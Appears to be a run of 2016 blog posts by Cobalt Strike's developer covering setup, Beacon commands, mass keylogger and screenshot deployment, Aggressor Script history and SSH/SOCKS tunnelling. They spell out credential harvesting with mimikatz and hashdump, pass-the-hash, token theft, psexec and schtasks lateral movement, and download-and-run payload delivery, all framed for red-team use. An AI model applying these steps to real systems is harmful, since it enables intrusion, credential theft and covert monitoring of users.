h1

Raffi’s Abridged Guide to Cobalt Strike

May 25, 2016

This blog post is a fast overview of Cobalt Strike. I assume that you are familiar with Meterpreter, Mimikatz, and make use of Offensive PowerShell in your work. This post does not replace the documentation or videos, but it’s a quick way to become familiar with Cobalt Strike concepts that are not immediately obvious.

Starting Cobalt Strike

Cobalt Strike ships as a client program and a server program. The server is the team server. The team server must run on Linux with Java installed. To start it:

$ ./teamserver [your IP address] [team password]

The Windows, Linux, and MacOS X packages for Cobalt Strike include a launcher to start the client. Launch the client, put your name in the user field, set everything else properly and press Connect. You’re up and running.

Malleable Profiles

Cobalt Strike supports a concept of user-defined network indicators in its Beacon payload. This feature is Malleable C2. I do not recommend that you use Cobalt Strike with the default profile. Several example profiles are on Github. Use something from the normal folder. Specify the profile you want to use when you run your team server:

$ ./teamserver [your IP address] [team password] [/path/to/profile]

Listeners

Cobalt Strike refers to its payload handlers as listeners. Go to Cobalt Strike -> Listeners. Press Add. Fill in the information for your team server host. The HTTP and HTTPS Beacon are straight forward to configure. You will want to read the documentation before you try out the DNS Beacon. Once a listener is setup, Cobalt Strike’s team server is listening for connections.

The First Foothold

“where are the exploits?” “how do I scan targets?” “how do I get that first Beacon on target?” Cobalt Strike is designed for engagements where you work as an external actor. It’s my assumption that you either have a foothold, through another means, or that you will gain one through a targeted attack. Cobalt Strike has tools to help with the targeted attack process.

User-driven Attacks

Cobalt Strike has several user-driven attack options to get a foothold in a target
network. These options exist under Attacks -> Packages and Attacks -> Web Drive-by. Each of these features ask you to choose a listener. This is the payload the attack will deliver.

Metasploit Framework Exploits

Optionally, you may use a Metasploit Framework exploit to deliver Beacon. Pick a Windows exploit, point LHOST and LPORT at your listener, and set PAYLOAD to windows/meterpreter/[type of stager]. Cobalt Strike is compatible with Metasploit’s staging protocol. So long as you match stagers, this process should work. I recommend setting PrependMigrate to True as well.

The Beacon Console

When you get an access, right-click on it and press Interact. This will open the Beacon console. You will spend most of your time here.

Asynchronous Post Exploitation

Beacon is an asynchronous agent. This means commands you type will not execute right away. Instead, they go into a queue. When the agent checks in, Beacon downloads them, and executes them [mostly] in order. Beacon then presents output to you. In between check-ins, Beacon goes to sleep. Your Malleable C2 profile sets the default sleep time. The sleep command changes it.

Beacon Help

Meterpreter users will feel at home with Beacon. The two have many commands in common. Type help to see a list of commands. Type help and a command name to get more information on a command.

Running Commands

The cd command changes Beacon’s current working directory. Don’t put quotes around the folder name (even if there are spaces). The shell command will run the command you specify with cmd.exe and present its output to you. The powershell-import command imports a local PowerShell script into Beacon. This command does not execute or check the script. Use the powershell command to evaluate your imported script and run the cmdlet and arguments you specify. The powerpick command does the same thing, but without powershell.exe.

Migrate

Beacon does not have a migrate command. In general, you should not need this. Many post-exploitation tasks (e.g., screenshot, keylog) will inject into a process you specify and feed results back to your Beacon. Use the inject command to inject a Beacon into an x86 or x64 process.

Loot

Use the download command to download files. Downloaded files are stored on the team server. Go to View -> Downloads to see downloaded files. Highlight one or more files in this dialog and press Sync Files to bring files to your local system.

If you take screenshots or log keystrokes, be aware that Cobalt Strike presents these under View -> Screenshots and View -> Keystrokes. These windows will auto-update when there is new data.

Privilege Escalation

Cobalt Strike has a few options to aid privilege escalation. The bypassuac command runs the Bypass UAC attack. Use this if your user is a local admin, but you’re in a medium integrity context. The spawnas command will let you use known credentials to spawn a session as another user. PowerUp works well with Beacon’s powershell and powerpick commands.

Credential Harvesting

Once you elevate, use hashdump to recover local account password hashes. Type logonpasswords to harvest credentials with mimikatz. The mimikatz command will run arbitrary mimikatz commands. Credentials are available under View -> Credentials.

x64 vs. x86

It helps to match Meterpreter’s architecture to the native architecture of your Windows target. Many post-exploitation actions fail otherwise. This is not necessary with Cobalt Strike. Beacon executes some of its post-exploitation tasks in new processes. If a task is architecture sensitive, Beacon will spawn a process that matches the native architecture and inject the post-exploitation capability into it.

Pivoting

Cobalt Strike supports SOCKS proxy pivoting. Type socks [port] to create a SOCKS server tied you to your Beacon. Use sleep 0 to ask Beacon to speed up its communication. The SOCKS server runs on your Cobalt Strike team server. Connection requests and traffic sent through this SOCKS server are passed to the associated Beacon to take action on.

Network Reconnaissance

The portscan command runs Beacon’s built-in port scanner. Beacon’s net computers command maps computer accounts in the domain’s Domain Computers group to IP addresses. PowerView works well with Beacon’s powershell and powerpick commands too. Known host and service information is available under View -> Targets.

Access Token Manipulation

When you interact with a remote target through Beacon, Windows will use the credentials from your access token’s Logon Session or the contents of your Kerberos Tray to authenticate you. Cobalt Strike has commands to manipulate these items.

The steal_token command impersonates a token from another process. The make_token command creates an access token to pass the plaintext credentials you provide. The pth command creates an access token to pass the domain, username, and password hash you provide.

Confusingly, the make_token and pth commands will report your current username, regardless of the user you specify. This is not a bug in Cobalt Strike. This is a by-product of how Windows creates tokens to pass unverified credentials. The make_token and pth commands create a new Logon Session to pass the credential material you specify. They then attach the Logon Session to a copy of your current token. The Logon Session’s contents only affect interactions with remote targets. Your identity on the current system is still the same. This is why your token’s username does not change.

Cobalt Strike relies heavily on token manipulation for lateral movement and interactions with remote targets. These commands allow you to execute manual or automated lateral movement actions with a different identity.

Lateral Movement

Beacon commands for lateral movement include: psexec, psexec_psh, winrm, and wmi. Each command accepts a target and a listener name. The psexec command requires that you specify a share (it drops an executable to that share).

While these commands are nice, I tend to execute lateral movement steps by hand. I feel this gives more flexibility. Here’s my process: (1) Go to Attacks -> Packages -> Windows Executable (S) to export a stageless Beacon payload. Choose the right artifact for your lateral movement method. (2) Use the upload command to upload that artifact to Beacon. (3) Use shell copy artifact \\target\C$\whatever to copy the lateral movement artifact to your target. (4) Use at, schtasks, sc, or wmic through Beacon’s shell command to start the artifact on the remote target. (5) If you ran an SMB Beacon this way, use link [target] to assume control of it.

Named pipe Pivoting

The SMB Beacon uses named pipes to receive commands and route output through another Beacon. Named pipes are a Windows method for inter-process communication. Processes may communicate with other processes on the same system or on remote systems. Windows encapsulates remote process-to-process communication in the SMB protocol. This is why I call the Beacon that communicates over named pipes the SMB Beacon.

One Beacon may control multiple Beacons over named pipes. You may also use an SMB Beacon to control other SMB Beacons. Cobalt Strike users often chain Beacons together, multiple levels deep. Beacon’s SOCKS pivoting and other features work well, even through a deep chain.

The SMB Beacon is ideal for privilege escalation. Target an SMB Beacon listener with bypassuac, elevate, or spawnas and your new access will stage and communicate through your current Beacon.

This feature is also nice for lateral movement. It allows you to control systems that can’t or shouldn’t egress through an existing access in the target’s network.

Cobalt Strike -> Set Target View -> Pivot Graph draws a nice picture that depicts your named pipe pivot chain. This will help you understand which Beacons are linked to each other. This feature is indispensable for complex pivoting situations.

Agentless Post-Exploitation

I’m a fan of agentless post-exploitation techniques to control hard targets (e.g., Invoke-Command, Invoke-WMICommand, and others). Cobalt Strike’s Access Token Manipulation capability and PowerShell integration makes Beacon a nice platform for these techniques. As you use Cobalt Strike, think beyond the commands built into Beacon. Native tools are a big part of Cobalt Strike’s offensive process.

Logging

Cobalt Strike logs everything on the team server. This logging happens regardless of whether a client is connected or not. To find the logs, go to the folder you ran the team server from. The logs live in a folder called logs. The logs folder is organized by date and then target. There are individual files for each Beacon session. Cobalt Strike saves screenshots and keystrokes here too.

Where to go from here…

This blog post is a quick orientation to Cobalt Strike. If you’d like to learn more, there are other resources. The product manual is kept up to date with each release. The 9-part Advanced Threat Tactics course is six hours of material on the concepts in this post. The Cobalt Strike Support page also documents individual features with most having a short demo video.

h1

Cobalt Strike 3.3 – Now with less PowerShell.exe

May 18, 2016

The fourth release in the Cobalt Strike 3.x series is now available. There’s some really good stuff here. I think you’ll like it.

Unmanaged PowerShell

How do you get your PowerShell scripts on target, run them, and get output back? This is the PowerShell weaponization problem. It’s unintuitively painful to solve in an OPSEC-friendly way (unless your whole platform is PowerShell).

Cobalt Strike tackled this problem in its September 2014 release. Beacon’s PowerShell weaponization allows operators to import scripts, run cmdlets from these scripts, and interact with other PowerShell functionality. Beacon’s method is lightweight. It doesn’t touch disk or require an external network connection. It has a downside though: it relies on powershell.exe.

In December 2014, Lee Christensen came out with an Unmanaged PowerShell proof-of-concept [blog post]. Unmanaged PowerShell is a way to run PowerShell scripts without powershell.exe. Lee’s code loads the .NET CLR, reflectively loads a .NET class through that CLR, and uses that .NET class to call APIs in the System.management.automation namespace to evaluate arbitrary PowerShell expressions. It’s a pretty neat piece of code.

This release integrates Lee’s work with Beacon. The powerpick [cmdlet+args] command (named after Justin Warner’s early adaptation of Lee’s POC) will spawn a process, inject the Unmanaged PowerShell magic into it, and run the requested command.

I’ve also added psinject [pid] [arch] [command] to Beacon as well. This command will inject the Unmanaged PowerShell DLL into a specific process and run the command you request. This is ideal for long-running jobs or injecting PowerShell-based agents (e.g., Empire) into a specific process.

I took a lot of care to make powerpick and psinject behave the same way as Beacon’s existing powershell command (where possible). All three commands are friendly to long-running jobs and they will return output as it’s available. All three commands can also use functions from scripts brought into Beacon with the powershell-import command.

More One-Liners for Beacon Delivery

One of my favorite Cobalt Strike features is PowerShell Web Delivery. This feature generates a PowerShell script, hosts it, and gives back a one-liner that you can use to download and execute a Beacon payload. These one-liners have many uses: they seed access in assume breach engagements, they help turn an RDP access or command execution vulnerability into a session, and they’re great for backdoors.

Cobalt Strike 3.3 extends this feature. The PowerShell Web Delivery dialog is now Scripted Web Delivery with one-liners to download and run payloads through bitsadmin, powershell, python, and regsvr32. Each of these options is a different way to run a Cobalt Strike payload.

The bitsadmin option downloads and runs an executable. The python option will download and run a Python script that injects Beacon into the current python process. The regsvr32 option uses a combination of an SCT file with VB Script and a VBA macro to inject Beacon into memory. The regsvr32 option is based on research by Casey Smith and I really didn’t appreciate the power of this until I played with it more.

Search and Filter Tables with Ctrl+F

This release adds Ctrl+F to tables. This feature allows you to filter the current table on a column-by-column basis. Even when this feature is active, updates to the table will still show in real-time, if they match your criteria.

The feature is built with special search syntax for different column types. For example, you can specify CIDR notation or address ranges to filter host columns. You can use ranges of numbers to filter number columns. And, you can use wildcard characters in string columns.

073606_Targets

*phew*. That’s a lot. Would you believe there’s more? Check out the release notes to see a full list of what’s new in Cobalt Strike 3.3. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

User Exploitation at Scale

April 28, 2016

Some hackers only think about access. It’s the precious. How to get that first shell? I don’t care too much about this. I’m concerned about the problems that come from having a lot of accesses. One of these problems has to do with user exploitation. If you have access to 50 or more systems at one time, how do you monitor what the users on those systems are up to?

At a certain point taking screenshots and logging keystrokes, one system at a time, isn’t very tractable. There is the analysis problem. How do you analyze and watch all of this information with few red team operators?

There is also the capability deployment problem. If you have 50+ accesses, it’s probably from lateral movement. If your payload is on a target in a SYSTEM context, you’re probably in no position to observe keystrokes or screenshots without migrating your payload or deploying your capability to the right process. Going through targets, one by one, to deploy a screenshot tool or keystroke logger is time consuming.

Cobalt Strike takes a stab at both of these problems. In this blog post, I’ll take you through Cobalt Strike’s post-3.0 model for user exploitation at scale.

winning

The Data Browser

If one of your teammates takes a screenshot or starts a keystroke logger, the first question is: where do the results of these actions go? In Armitage, the answer is nowhere. Armitage’s model of collaboration isolates each operator from the post-exploitation actions other operators took. If a teammate takes a screenshot, there is no way for you to view that screenshot in Armitage. I see this as a shortcoming.

Cobalt Strike 3.0 does things much different from Armitage. Screenshots and Keystrokes in Cobalt Strike 3.0 are now dumped to one interface. I call it a data browser. Go to View -> Screenshots or View -> Keystrokes to access this information.

databrowser

Through the data browser, any team member may watch screenshots and keystrokes as they show up. The data browser makes these post-exploitation features more collaboration friendly. It also aids analysis too. Depending on the workload, you may devote one team member to watching this information as it comes in and tipping off the rest of the team to systems/users they should pay attention to, right now.

Mass Deployment

I thought I was Mr. Clever when I implemented Cobalt Strike 3.0’s data browser. Then the deployment problem reared its ugly head. Post-exploitation features like screenshot tools and keystroke loggers are very dependent on the context of the process that they’re run in. On Windows, the desktop session you’re in matters a great deal. If the user’s processes are run in session 1 and your payload is hanging out in session 0, you’re not going to see any keystrokes. It’s very important to conduct post-exploitation from the user’s context.

Some penetration testing payloads offer a migrate capability. I hate payload migration. It’s a great way to lose your access. I prefer to inject my post-exploitation capability into a user’s process and have the capability report results back to my payload which continues to live in its SYSTEM-level context. This is Cobalt Strike’s approach to post exploitation.

Fortunately, Cobalt Strike 3.0 introduces a way to push post-exploitation features to the right process on many systems at once. This is done through the Process Browser.

Cobalt Strike’s Process Browser is designed to show processes for multiple sessions at one time. Simply highlight all of the accesses you want to deploy post-exploitation tools to. Right-click, go to Explore -> Show Processes. Cobalt Strike will ask each session to return a list of processes. As these sessions report back with information, the Process Browser will update.

Once all of your accesses have called home, simply sort by process name and scroll down to explorer.exe. You will now see all of the explorer.exe instances across all sessions that have called home.

massdeploy

Highlight the explorer.exe instances you want to inject Cobalt Strike’s post exploitation tools into. Press the Screenshot button to ask these sessions to deploy the screenshot tool to their respective explorer.exe processes. Press the Log Keystrokes button to deploy the keystroke logger to the highlighted explorer.exe processes.

That’s Cobalt Strike’s model for mass deployment of post-exploitation tools. With Cobalt Strike 3.0, you now have the tools to know what’s happening on each compromised system. Part 4 of Advanced Threat Tactics covers Post Exploitation with Cobalt Strike 3.x in more detail.

h1

Aggressor Script’s Secret mIRC Scripting Past

April 6, 2016

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. If you want to learn more about it, I recommend reading the documentation. In this blog post, I’ll provide some history around Aggressor Script so you can better understand it and where it comes from.

The mIRC Factor

mIRC is a popular client for Internet Relay Chat. In the mid-nineties, I was part of a community of enthusiastic computer users who would interact with each other online. Through this community, I had mentors and I was exposed to Linux early on as well. mIRC was more than a GUI client to connect to IRC though. mIRC was also a programming environment. User scripts could create new IRC commands (aliases), respond to events, and even modify the presentation of mIRC’s output. This gave power users a lot of room to make mIRC their own.

How did we use this power? It depends on the user. Some would write theme scripts to express their artistic prowess. mIRC became their canvas, Cp437 characters their brushes. Others would write scripts to task multiple mIRC instances (clones) to send messages to a friend that elicit an automatic response. This friend’s automatic response to all mIRC instances would cause the IRC server to disconnect them for malicious flooding. These flooding games, among friends of course, were a popular use of mIRC scripting.

The jIRCii Factor

Inspired by my use of mIRC, I set out to build a cross-platform IRC client, jIRC. Later, I renamed this project to jiRCii. jIRCii was my first large software project. It was also my longest running project. I worked on variations jIRC/jIRCii from 1999 through my last update in 2011.

jiRCiinormal

jIRCii was also scriptable AND it had an active scripting community for a time too. Users wrote theme scripts, integration with third-party programs, and various utilities to make it easier to manage IRC channels.

When I built jIRCii’s scripting features, I really wanted to capture the elements of mIRC scripting that I felt worked. I also wanted to do away with the elements that didn’t work for me. Aliases (the alias keyword) were a good abstraction to define new commands. This concept worked and it made its way into jIRCii. Events (the on keyword) were a good abstraction to respond to events from the IRC server and the IRC client itself. These made it into jIRCii as well.

mIRC scripters had a heavy desire to theme mIRC and present IRC events in different ways. Arguably, this theme was the identity of the script. Early on, scripts would couple the theme information and the script’s functionality together. This tied a script to one theme though. Later, scripts would feature custom theme files that separated the presentation of output from the script’s other functionality. The early implementations of these themes were aliases (these did double-duty as subroutines in mIRC) that followed a naming convention. For example:

alias SET_CHANNEL_TEXT {
     return < $+ $1 $+ > $2-
}

Scripts would hook the different mIRC events, execute their normal logic for these events, and finish up by calling the appropriate theme function and reporting its results back to the user. The popularity of this convention informed jIRCii’s set keyword. jIRCii’s set keyword allows scripters to define how the client presents any of its output to the user. In fact, the client doesn’t have a default presentation of anything. The client’s defaults are defined in a built-in script.

ss_slurge

Delegating default presentation to a script also streamlined jIRCii’s development process. I could focus on core features without thinking too much about the aesthetics of a feature. When it came time to work on the aesthetics, I could try things without restarting the client.

I applied the same concepts to jIRCii’s menubar and context-sensitive popup menus as well. jIRCii doesn’t define these things in its code, it delegates all of them to the default script. Again, jIRCii’s abstraction for user-defined menus, popups, and menu items were inspired by mIRC’s scripting engine.

jIRCii’s Scripting Language

Early into jIRCii’s life, I dabbled with different ways to give users control over the client. In the late-90s and early-2000s, there were not a lot of scripting engines built on top of Java. There was Beanshell, whose goal was to stay as close to Java as possible. There was Jacl, which was TCL on Java. While TCL was used as a scripting engine in some IRC clients, I wasn’t able to wrap my head around it at the time. Years later, I appreciate TCL much more. And, there was Jython which was a Python implementation for Java.

I wasn’t in love with any of the above options as an embedded scripting language. I really wanted a small language that I could extend with new constructs that exposed my application’s features. My goal with the scripting feature set was to court mIRC users. To do so, I needed a solution that didn’t feel aesthetically alien to mIRC scripters. I also wanted something a first-time programmer could reasonably pick up on his or her own.

The Sleep Factor

I didn’t expect that I would write jIRCii’s general purpose scripting language. I also didn’t expect that Armitage/Cobalt Strike would evolve into a stand-alone offensive platform either. Sometimes, when you decide to see a project through, you sign up for much more than you expected. Here’s the story behind the Sleep scripting language.

A common exercise for undergraduate Computer Science students is to build a simple programming language. Like other Computer Science students, I went through the exercise of building a simple LISP-like language interpreter in LISP. This learning exercise was my first exposure to BNF, recursive descent parsers, Abstract Syntax Trees, and interpreters. This exercise clicked with me and it very much whetted my appetite to explore these ideas further.

After I turned in the above assignment, I decided to sequester myself in a campus computer lab for the weekend. I set out to define a small language with aesthetical similarities to my then-favorite language, Perl. I built a lexical analyzer, a parser, and an interpreter for this simple language in a few days. This was the first version of Sleep. That was 2002.

sleepfirstver

I saw Sleep as a potential solution to my scripting conundrum for jIRCii. I would build Sleep as a small extensible language to embed into other applications. My initial target application was jIRCii. In a way, Sleep and jIRCii co-evolved with each other.

I started work on Sleep 2.0 around 2005. To me, a change in major version represents a change in fundamental assumptions and a strategic shift. Cobalt Strike’s early versions dabbled in a lot of ideas beneficial to red teaming. Cobalt Strike 2.0 was a concrete shift towards threat emulation with Malleable C2. Cobalt Strike 3.0 re-built Cobalt Strike as a platform for Red Team Operations and Adversary Simulations without the Metasploit Framework. Sleep 2.0 was a similar major shift. Sleep evolved from a very simple language to one that could call into Java’s APIs. This gave my scripters benefits similar to the ones PowerShell scripters enjoy calling the .NET API from PowerShell. I also added closures, coroutines, and continuations as language features. These additions gave Sleep a lot of power.

Sleep’s last update was in 2009. I stopped working on Sleep because at that point, the project met its original goals. It was also stable and feature complete to a reasonable point.

Since the mid-2000s, I’ve used Sleep quite a lot. When I was at the Air Force Research Lab, I used Sleep as a scripting engine in my various project prototypes. I kept Sleep integrated into jIRCii and as I mentioned previously, jIRCii had a healthy scripting community. I built a web application container for Sleep and for a time, I used Sleep for limited web application work. I also built the After the Deadline software service in Sleep. Finally, I tried to use Sleep as an application language. The lucky project to receive this treatment? Armitage.

I consider that a failed experiment. Much like other scripting languages, Sleep has a concept of a Global Interpreter Lock. Sleep’s GIL is a nuisance when building a multi-threaded GUI application that needs to interact with a server component. My choice to use Sleep is partially responsible for Armitage’s tendency to deadlock and some of the performance issues. Cobalt Strike 3.0 and later do not use Sleep as the application implementation language.

Cortana

Cortana is the scripting engine in Armitage. This was a seven-month effort funded by DARPA’s Cyber Fast Track program. It was Mudge’s intent that CFT fund new efforts, not enhancements to existing ones. To pitch Cortana for CFT, I had to have an angle. Armitage was already a decent effort exploring red team collaboration among human actors. Why not take this to the next level and explore red team collaboration ideas between humans and bots? This was the idea behind Cortana.

Fortunately, Cortana was not my first scriptable application rodeo. I had experience with a base language (Sleep). I also knew what it would take to integrate this base language into an application (thanks jIRCii). This made it easy to explore the ideas that were the meat of the effort (positive control concepts, a headless client for bots, etc.)

Cortana brought some of jIRCii (and mIRC)’s scripting concepts into Armitage. It had events to respond to things that happened on the team server and within the client. I had one milestone focused on APIs for the Armitage GUI itself (e.g., popup menus and the like). I also had a milestone to strip Armitage to nothing and re-implement Armitage’s features in Cortana. I wanted to see if I could push the balance of “default script” stuff much further than jIRCii. I wasn’t happy with the results of this particular experiment and decided against adopting this for production Armitage. Consequently, production Armitage delegated nothing to its built-in scripting engine.

I released Cortana at DEF CON 20. Not only was it the largest audience I’ve spoken to in one room. It was also the one time I lost my voice before a talk as well.

The Cortana technology in Cobalt Strike (prior to 3.0) was mostly the same as the Cortana technology in Armitage. Over time though, I noticed that Cobalt Strike users had a much higher interest in Cortana than Armitage users. I had a non-trivial number of customers who had unzipped the cobaltstrike.jar file, figured out the Beacon RPC API, and were building scripts with this to automate and control Beacon. This was a lot of effort for these users to go to. I tried to meet these users half-way by publishing a partial Cortana API to script and control Beacon. All of this was a big obvious sign that I needed to expose a way to script Cobalt Strike’s features.

The Dark Corners of Cobalt Strike 3.0

Cobalt Strike 3.0 was a ground-up rewrite of Cobalt Strike’s GUI client and team server, notably without dependence on the Metasploit Framework.

I’m often asked why I changed X or Y in Cobalt Strike 3.0. I’m sometimes asked why did I bother with such large changes to a mature product? Depending on the context, I give different answers. The full answer is this: I learned a lot about my red team user base while selling and building Cobalt Strike 2.5 and its predecessors. These lessons included things my product didn’t do well and things my product would need to handle, eventually, to stay relevant to that user base.

One example of this is logging and reporting. Prior to 3.0, Cobalt Strike’s logging was borderline useless. Also, prior to 3.0, Cobalt Strike’s reporting was potentially beneficial to a penetration tester, but it didn’t show much imagination for the red teaming use case. There are a lot of reasons these things were the way they were, but ultimately, the 3.0 work was a chance to set some of these things right. Today, the reporting and logging are cited as one of the strengths in Cobalt Strike 3.0 and later.

No single insight, feature, or need drove the development of Cobalt Strike 3.0. It was the accumulation of all the user needs I wanted to tackle, but couldn’t with the old codebase and its dependencies. I didn’t take this decision lightly though…

I’m a big fan of Joel Spolsky’s Joel on Software blog. One post that sticks with me is Things You Should Never Do, Part I. In this post, Joel describes this mistake as the single worst strategic mistake any company can make. What is it? It’s to rewrite their code from scratch. I, as a single developer, knowingly decided to commit this very sin. The decision to rewrite Cobalt Strike could have ruined my company and destroyed my professional efforts going back to late-2011. Bluntly, people do their jobs with this toolset and they pay fairly for the privilege. My biggest fear is that my instincts were off and I was investing in the wrong ideas.

Six months later, all signs seem to indicate that Cobalt Strike 3.0 was the right move. The new product is very stable and performs much better than its predecessors. To many of my users, 3.0 was business as usual. I seem to have kept the things they used Cobalt Strike for, added some things they wanted, and discarded what they didn’t use. I’ve used 3.0 a few times now and I’ve been very happy with it. It’s a good product and it’s fun to use.

Aggressor Script

Scripting is one of those places where Cobalt Strike 3.0 gave me a second chance. Aggressor Script is the Cobalt Strike 3.0 successor to Cortana. Aggressor Script is not compatible with Cortana. It can’t be. Cortana builds on Armitage’s interface to the Metasploit Framework. Aggressor Script builds on Beacon and Cobalt Strike 3.0’s team server.

During Cobalt Strike 3.0’s development, I had a rule: no experiments. I knew the risk I was (already) taking with the rewrite. I wanted to stick with my lessons learned and my personal best practices as much as possible.

Cobalt Strike 3.0’s first milestones were a team server and a simple GUI client. The team server would act as a broker to receive messages from clients, broadcast messages to clients, and play previous messages back to new clients. On this initial foundation, I built Cobalt Strike 3.0’s first feature: the event log.

I remember demoing this early progress to a customer. I had a /names command, /msg, and /me. I also had the ability to redefine Cobalt Strike’s presentation of event log output through a default script. I joked that my goal was to replace Cobalt Strike 2.5 with a very nice, very expensive, IRC client.

All joking aside, I borrowed a lot of concepts from jIRCii in the design of Cobalt Strike 3.0. This is especially evident with Aggressor Script. Aggressor Script uses the set keyword to define how the client presents output to the user. Aggressor Script uses the on keyword to respond to events. Aggressor Script also uses the alias keyword to define new commands in Beacon. I also use scripting conventions from jIRCii to script menus and keyboard shortcuts. Much like jIRCii, Cobalt Strike 3.0 defines its representation of events and menu structure in a default built-in script. A lot of these conventions in jIRCii were heavily inspired by mIRC scripting.

So there you have it, that’s Aggressor Script’s Secret mIRC scripting past. There’s an irony here. In the 90s, some folks would use the scripting engine in their chat program to build hacking tools. Now, 20 years later, I use the scripting engine in my hacking tool to build chat tools. Pretty funny.

h1

Pics or it didn’t happen…

March 30, 2016

One of the most important things in a red teamer’s job is evidence. If you can’t demonstrate impact and make a risk real, it’s as if you didn’t find the problem. Screenshots go a long way towards this.

Cobalt Strike has several options to capture screenshots during your engagement. In this post, I’ll quickly take you through them.

Ctrl+P

The Ctrl+P shortcut snaps a picture of the current sessions in Cobalt Strike. If the pivot graph is active, you will get the whole graph (regardless of size) in one image.

010943_PivotGraph

Ctrl+T

The Ctrl+T shortcut takes a screenshot of the current Cobalt Strike tab.

010945_Beacon172.16.20.805944

Ctrl+Shift+T

The Ctrl+Shift+T shortcut takes a screenshot of your whole Cobalt Strike window.

010946_CobaltStrike

Where do my screenshots go?

This is the best part. Cobalt Strike pushes these screenshots to the team server. This way, your screenshots and your team’s screenshots are in one place. The screenshots are located in the [/path/to/cobaltstrike]/logs/[date]/screenshots folder. Each screenshot’s name includes the time it was taken and the context it was taken from (e.g., the title of the tab).

where

Note: Target screenshots, taken during your post-exploitation activities, are organized and stored on the team server as well. These are located in:
[/path/to/cobaltstrike]/logs/[date]/[target]/screenshots.

h1

Linux, Left out in the Cold?

March 23, 2016

I’ve had several folks ask about Linux targets with Cobalt Strike 3.0 and later. Beacon is a Windows-only payload. The big question becomes, how do you use Cobalt Strike to operate against Linux, BSD, and other UNIX flavored targets?

Cobalt Strike is not the master unified interface for all hacking tasks. Rather, Cobalt Strike is a toolset to facilitate targeted phishing, covert post-exploitation, and lateral movement in a typical Windows enterprise environment. I didn’t forget about other targets though. Beacon has a built-in port scanner to help find them. I also provide options to use Beacon as a communication layer to bring other tools into the engagement (when it makes sense).

It’s quite easy to use Cobalt Strike as a jumping off platform to reach UNIX server targets. In this blog post, I’ll share a few recipes to do so.

Access Strategies

Cobalt Strike does not have tools to find vulnerabilities in and exploit UNIX targets. If there’s an exploit or attack you want to use, tunnel it through Cobalt Strike’s Beacon.

Optionally, target a system administrator’s Windows workstation and use that access to steal trust material to take a UNIX target. There are a lot of options here.

Cobalt Strike has keystroke logging and screenshot tools designed for long-term operations. The Red Team Field Manual has an interesting recipe to log all keystrokes and output from Putty sessions. You can also look at tools like, PuttyRider, which lets you inject into Putty and do interesting things.

Finally, if you observe a user interacting with a web interface to a device or server, try a browser pivot to interact with that site, as them. Browser Pivoting is Cobalt Strike’s man-in-the-browser session hijacking capability.

Tunnel SSH over Beacon

Cobalt Strike’s Beacon exposes a SOCKS interface for pivoting. SOCKS is a standard for proxy servers and proxy-aware clients. To create a SOCKS interface tied to a Beacon:

1. Interact with a Beacon

2. Type sleep 0 to ask to the Beacon to check-in multiple times each second. A high check-in time will introduce latency into your tunneled traffic.

3. Type socks 1234 to create a SOCKS proxy server on port 1234 of your team server.

At this point, you have a listening socket, on your team server, ready to receive connections from proxy-aware clients. The Beacon associated with this SOCKS server will initiate any connections requested by a SOCKS client. Once a connection is made, Cobalt Strike relays all traffic between the SOCKS client and the new connection via Beacon’s communication path (whatever it is).

proxychains

Some applications have built-in support for SOCKS. Other applications do not. If you want to use an application that is not SOCKS aware, try out proxychains.

The proxychains program accepts a program name and program arguments as its arguments. Any outbound TCP connection made the specified program is forced through a proxy server. This proxy configuration is specified in a global configuration file (/etc/proxychains.conf).

To tunnel SSH through a SOCKS proxy server with proxychains:

4. Open /etc/proxychains.conf with your favorite text editor.

5. Scroll to the bottom of the file.

6. Change the lines under [ProxyList] to:

socks4 127.0.0.1 1234

7. Save the file.

8. In a new terminal, type: proxychains ssh [email protected]

Your SSH session will now tunnel through Cobalt Strike’s Beacon payload.

Tunnel Beacon over SSH

You may run into a situation where you need to tunnel Cobalt Strike’s Beacon through a compromised Linux target to attack a Windows network. I’ve had this happen and I’ve heard stories from others with a similar situation. I can’t say this is something you’ll see often, but it’s a good exercise in tunneling flexibility.

Here’s the scenario:

I can reach a Linux target over SSH. This Linux target can talk to a Windows network I want to attack. I have credential material for the Linux target. I also have credential material for a Windows target. I want to attack the Windows target with Cobalt Strike.

Here are the steps:

1. From a red Linux asset, run: ssh –D 1080 [email protected]_target. This command will create an SSH session and a SOCKS proxy server, bound to port 1080 on the red Linux asset, that forwards all connections through the SSH tunnel. In effect, this proxy allows us to make connections from the compromised Linux target.

2. On the red Linux asset, forward port 445 to reach a Windows target through the SSH SOCKS Proxy server. Here’s the socat recipe for this: socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:TARGET:445. Anything that touches this red Linux asset on port 445, will now reach the Windows target on port 445.

3. Run a Beacon on a red Windows asset. Cobalt Strike’s attacks are deployed to and run by Beacon directly. This plays well with Cobalt Strike’s model of offense.

4. Create a named pipe listener in Cobalt Strike. Go to Cobalt Strike -> Listeners. Press Add. Choose the windows/beacon_smb/bind_pipe payload.

5. Through the red asset Beacon, create an access token from credential material for an Administrator user on the target Windows system. Use make_token [DOMAIN\user] [password] if you have credentials. Use pth [DOMAIN\user] [hash] if you have an NTLM hash.

6. Attack the Windows target (via the Linux port forward) with psexec or psexec_psh .

beaconoverssh

Cobalt Strike will run Beacon, stage it, and assume control of the host over port 445. Since we’re targeting a port forward on a pivot system, this process will ride over our SSH tunnel. You now have a Beacon foothold, in another network, tunneled through a Linux target.

Control UNIX Targets with PowerShell

rvrsh3ll published an Invoke-SSHCommand PowerShell cmdlet. This script runs a command over SSH and returns its output to you. Here’s how to use this script with Beacon:

1. Download the Misc-PowerShell Scripts repository from Github

git clone https://github.com/rvrsh3ll/Misc-Powershell-Scripts.git

2. Interact with a Beacon

3. Use powershell-import /path/to/Invoke-SSHCommand.ps1 to import rvrsh3ll’s script into Beacon.

4. Run powershell Invoke-SSHCommand –ip [target] –username [user] –password [password] –command “uname –a”

These steps will run the uname –a command on a target of your choosing. Be aware that this script does require .NET 3.5 on the target or it won’t work.

If you find it cumbersome to type these commands again and again, you can use Aggressor Script to define an ssh alias in Beacon:

# beacon> ssh [target] [user] [pass] "[command + args]"
alias ssh {
	($bid, $target, $user, $pass, $what) = @_;
	bpowershell_import($bid, script_resource("Invoke-SSHCommand.ps1"));
	bpowershell($bid, "Invoke-SSHCommand -IP $target -Username $user -Password $pass -Command \" $+ $what $+ \"");
}

The Post Exploitation and Pivoting lectures of Advanced Threat Tactics covers many of the concepts in this blog post.

h1

My Cobalt Strike Scripts from NECCDC

